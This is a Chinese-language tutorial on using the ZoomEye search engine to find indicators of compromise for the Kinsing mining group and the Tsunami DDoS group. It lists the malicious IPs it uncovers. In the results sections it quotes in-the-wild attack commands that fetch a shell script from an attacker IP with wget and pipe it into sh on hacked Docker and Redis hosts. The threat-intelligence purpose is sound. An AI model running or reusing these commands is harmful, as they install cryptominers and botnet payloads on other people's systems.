一个通过 ZoomEye 获取 IOC 的案例
字数 1344 2025-08-14 12:04:14
通过ZoomEye搜索获取IOC(入侵指标)的教学文档
一、背景介绍
本教学文档基于知道创宇404实验室在FreeBuf上发布的案例,展示如何利用ZoomEye网络空间搜索引擎获取恶意IOC(Indicators of Compromise,入侵指标)。案例中针对Kinsing挖矿团伙(又名H2Miner)的活动痕迹进行了追踪分析。
二、核心概念
- IOC(入侵指标):指能够表明系统或网络可能已被入侵的可观察证据,如恶意IP、域名、文件哈希等。
- ZoomEye:网络空间搜索引擎,可探测和收集互联网上的设备和服务信息。
- Kinsing/H2Miner:活跃的挖矿恶意软件团伙,以快速利用新漏洞著称。
三、基础搜索方法
1. 直接查询恶意IP
搜索语法示例:
194.38.20.199 -ip:194.38.20.199
解释:
- 前部分
194.38.20.199作为字符串全局匹配 -ip:194.38.20.199排除该IP本身开放的服务信息
2. 结果分析
案例中查询结果显示129条结果,主要包含:
- Redis服务:通过设置
master_host方式进行攻击 - Docker服务:通过Docker API设置镜像Command命令实现命令执行
典型攻击命令示例:
/bin/bash -c 'apt-get update && apt-get install -y wget cron;service cron start; wget -q -O - 194.38.20.199/d.sh | sh;tail -f /dev/null'
四、高级搜索技巧
1. 搜索被入侵的Docker服务
搜索语法:
"Server: Docker" +"Content-Type: application/json" +wget
解释:
- 搜索Docker API响应中包含
wget命令的记录 - 案例中搜索到71条结果(数量会因ZoomEye的覆盖更新而变化)
2. 排除已知IOC
搜索语法:
"Server: Docker" +"Content-Type: application/json" +wget -194.38.20.199
解释:
- 排除包含194.38.20.19的目标
- 案例中搜索到19条结果
3. 发现新的恶意IP
从搜索结果中可提取新的IOC,例如:
"Command":"sh -c 'wget -qO - http://34.66.229.152:80/wp-content/themes/twentyseventeen/d | sh; tail -f /dev/null'"
发现新IP:34.66.229.152(属于Tsunami DDoS团伙)
4. 进一步排除搜索
搜索语法:
"Server: Docker" +"Content-Type: application/json" +wget -194.38.20.199 -34.66.229.152
案例中发现2个新IP:
- 45.137.155.55(与Kinsing类似)
- 209.141.40.190(挖矿相关)
五、发现的IOC汇总
通过上述方法发现的恶意IOC:
-
Kinsing/挖矿团伙:
- 194.38.20.199
- 45.137.155.55
-
Tsunami/DDoS团伙:
- 34.66.229.152
-
未知挖矿团伙:
- 209.141.40.190
六、扩展分析方法
-
分析恶意脚本:
- 下载并分析攻击中使用的sh脚本(如d.sh)
- 提取更多关联的IOC(IP、域名等)
-
命令模式分析:
- 比较不同攻击命令的相似性
- 识别可能的团伙关联
-
时间线分析:
- 记录IOC首次出现时间
- 追踪团伙活动周期
七、参考资源
-
Redis攻击技术分析:
- https://paper.seebug.org/975/
-
网络空间搜索引擎应用:
- https://paper.seebug.org/595/
-
Matryosh僵尸网络案例:
- https://twitter.com/r3dbU7z/status/1356802656493264896
八、注意事项
- ZoomEye数据会随时间更新变化
- 搜索结果需要人工验证确认
- 发现的IOC应及时共享给安全社区
- 分析过程需遵守法律法规
通过本教学文档,安全研究人员可以掌握使用ZoomEye搜索和追踪恶意IOC的基本方法和技巧,有效提升威胁情报收集能力。